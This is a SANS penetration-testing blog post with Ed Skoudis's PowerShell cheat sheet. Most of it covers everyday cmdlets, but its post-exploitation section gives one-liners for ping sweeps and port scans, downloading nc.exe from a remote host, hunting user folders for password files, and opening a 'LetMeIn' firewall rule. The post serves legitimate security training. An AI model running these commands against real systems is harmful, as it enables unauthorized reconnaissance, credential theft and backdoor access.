# SANS Penetration Testing

**25** May **2016**

## SANS Pen Test Cheat Sheet: PowerShell

0 comments Posted by eskoudis
Filed under Cheatsheet
by Ed Skoudis

PowerShell really is amazing, and comes in handy for all kinds of infosec tasks, from defense to analysis to offense. In my SANS Security 560 course, we cover PowerShell as a post-exploitation language, with all kinds of nifty tips and tricks for using it. When I teach the class, though, I notice that many students are fairly new to PowerShell's awesomeness.

To help people build their PowerShell skills, Phil Smith and I created this PowerShell cheat sheet (with some great input from Tim Medin and Jeff McJunkin too), containing some of the essential items needed to use PowerShell effectively. In essence, this cheat sheet is what I wish I had when I started learning PowerShell. I hope you enjoy it, especially the 5 PowerShell Essentials section!

Download it by clicking this link: PowerShellCheatSheet_v4

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

| 5 PowerShell Essentials | | |
|---|---|---|
| **Concept** | **What's it Do?** | **A Handy Alias** |
| `PS C:\> Get-Help [cmdlet] -examples` | Shows help & examples | `PS C:\> help [cmdlet] -examples` |
| `PS C:\> Get-Command` | Shows a list of commands | `PS C:\> gcm *[string]*` |
| `PS C:\> Get-Member` | Shows properties & methods | `PS C:\> [cmdlet] \| gm` |
| `PS C:\> ForEach-Object { $_ }` | Takes each item on the pipeline and handles it as $_ | `PS C:\> [cmdlet] \| % { [cmdlet] $_ }` |
| `PS C:\> Select-String` | Searches for strings in files or output, like grep | `PS C:\> sls -path [file] -pattern [string]` |

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

## Useful Cmdlets (and aliases)

Get a directory listing (`ls, dir, gci`):
```
PS C:\> Get-ChildItem
```

Copy a file (`cp, copy, cpi`):
```
PS C:\> Copy-Item src.txt dst.txt
```

Move a file (`mv, move, mi`):
```
PS C:\> Move-Item src.txt dst.txt
```

Find text within a file:
```
PS C:\> Select-String -path c:\users\*.txt -pattern password
PS C:\> ls -r c:\users -file | % {Select-String -path $_ -pattern password}
```

Display file contents (`cat, type, gc`):
```
PS C:\> Get-Content file.txt
```

Get present directory (`pwd, gl`):
```
PS C:\> Get-Location
```

Get a process listing (`ps, gps`):
```
PS C:\> Get-Process
```

Get a service listing:
```
PS C:\> Get-Service
```

Formatting output of a command (`Format-List`):
```
PS C:\> ls | Format-List -property name
```

Paginating output:
```
PS C:\> ls -r | Out-Host -paging
```

Get the SHA1 hash of a file:
```
PS C:\> Get-FileHash -Algorithm SHA1 file.txt
```

Exporting output to CSV:
```
PS C:\> Get-Process | Export-Csv procs.csv
```

## PowerShell for Pen-Tester Post-Exploitation

Conduct a ping sweep:
```
PS C:\> 1..255 | % {echo "10.10.10.$_"; ping -n 1 -w 100 10.10.10.$_ | Select-String ttl}
```

Conduct a port scan:
```
PS C:\> 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null
```

Fetch a file via HTTP (wget in PowerShell):
```
PS C:\> (New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/nc.exe","nc.exe")
```

Find all files with a particular name:
```
PS C:\> Get-ChildItem "C:\Users\" -recurse    -include *passwords*.txt
```

Get a listing of all installed Microsoft Hotfixes:
```
PS C:\> Get-HotFix
```

Navigate the Windows registry:
```
PS C:\> cd HKLM:\
PS HKLM:\> ls
```

List programs set to start automatically in the registry:
```
PS C:\> Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\run
```

Convert string from ascii to Base64:
```
PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("PS FTW!"))
```

List and modify the Windows firewall rules:
```
PS C:\> Get-NetFirewallRule -all
PS C:\> New-NetFirewallRule -Action Allow -DisplayName LetMeIn -RemoteAddress 10.10.10.25
```

SANS INSTITUTE

# PowerShell Cheat Sheet v. 4.0

POCKET REFERENCE GUIDE

http://www.sans.org

## Purpose

The purpose of this cheat sheet is to describe some common options and techniques for use in Microsoft's PowerShell.

## PowerShell Overview

**PowerShell Background**

PowerShell is the successor to command.com, cmd.exe and cscript. Initially released as a separate download, it is now built in to all modern versions of Microsoft Windows. PowerShell syntax takes the form of verb-noun patterns implemented in cmdlets.

**Launching PowerShell**

PowerShell is accessed by pressing Start -> typing `powershell` and pressing enter.
Some operations require administrative privileges and can be accomplished by launching PowerShell as an elevated session. You can launch an elevated PowerShell by pressing Start -> typing `powershell` and pressing Shift-CTRL-Enter.
Additionally, PowerShell cmdlets can be called from cmd.exe by typing: `powershell -c "<command>"`.

Have fun PowerShell'ing. 🙂

-Ed.

Follow @edskoudis 41.5K followers

## Pen Test Cheat Sheets:

Netcat

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Scapy

Nmap

Python

### SANS Pen Test Training:

SEC560: Network Penetration Testing and Ethical Hacking - our core penetration testing course. Prepare for GIAC - Penetration Testing Certification (GPEN)

SEC542: Web App Penetration Testing and Ethical Hacking - introduction to intermediate web application penetration testing. Prepare for GIAC - Web Application Penetration Tester Certification (GWAPT)

## SANS Online Training:


### All SANS Online Training courses include:

- Convenience and Flexibility
- Subject-Matter Expert Support
- Anytime, Anywhere access for four or more months
- Save costs and time - no travel necessary

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Test Drive any of 30 SANS courses today at www.sans.org/demo

"I love the material, I love the SANS Online delivery, and I want the entire industry to take these courses." - Nick Sewell, IIT

Permalink | Comments RSS Feed - Post a comment | Trackback URL

## Post a Comment

***Name**

***Email**

**Website**

***Comment**

**Captcha**

***Response**

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Post Comment

* Indicates a required field.

+1 Tweet Like Share

Categories

- Advanced Web App Pentesting (2)
- Anomaly Analysis (1)
- Anti-Virus Evasion (7)
- Backdoor (2)
- Bash (11)
- Challenges (26)
- Cheatsheet (7)
- cloud (2)
- Command Line Kung Fu (17)
- Conferences (4)
- Cryptography (4)
- CyberCity (1)
- Databases (1)
- Enumeration (2)
- Exploit Development (4)
- File Analysis (2)
- fuzzing (1)
- Infrastructure (4)
- Introduction (3)
- Legal Issues (1)
- Linux (2)
- Metasploit (9)

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology (46)
- Mobile (21)
- Network Devices (3)
- Nmap (2)
- Passwords (6)
- Post Exploitation (12)
- Posters (22)
- PowerShell (8)
- Presentations (10)
- Protocol Analysis (1)
- Python (19)
- Quiz (2)
- Reporting (4)
- Scanning (7)
- scapy (3)
- Shell Fu (5)
- Summit (1)
- web pen testing (16)
- Welcome (2)
- wireless (5)

Recent Posts

- SANS Cheat Sheet: Netcat
- SANS Poster - White Board of Awesome Command Line Kung Fu (PDF Download)
- So You Wanna Be a Pen Tester? 3 Paths To Consider (Updated)
- SANS Poster: Building a Better Pen Tester - PDF Download
- Putting My Zero Cents In: Using the Free Tier on Amazon Web Services (EC2)

Archives

Select Month

Links

- Log in
- Entries RSS

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Comments RSS

## Latest Blog Posts

SANS Cheat Sheet: Netcat
February 28, 2018 - 3:03 PM

SANS Poster - White Board of Awesome Command Line Kung Fu (PDF Download)
January 17, 2018 - 7:15 PM

So You Wanna Be a Pen Tester? 3 Paths To Consider (Updated)
January 10, 2018 - 5:31 PM

## Latest Tweets @SANSPenTest

Question? Hypothetical speaking... let's say there was a pl [...]
May 8, 2018 - 4:21 PM

SANS | Pittsburgh - July 2018 Take the NEW #SEC460: Enterpr [...]
May 8, 2018 - 2:54 PM

SANS | #PenTest Blog Command Line Kung-Fu: #Bash - Check Se [...]
May 8, 2018 - 1:52 PM

## Latest Papers

Agile Security Patching
By Michael Hoehl

Agile Security Patching
By Michael Hoehl

Learning CBC Bit-flipping Through Gamification
By Jeremy Druin

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

"This is the best hands-on course available anywhere."
- Whitney Janes, FedEx

"Ed Skoudis is the best teacher I've ever had. He is 100% competent and professional."
- Petra Klein, FRA

"This was by far the best course I have ever taken."
- Peter Lombars, Intrucom Inc.



© 2008 - 2018 SANS™ Institute

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD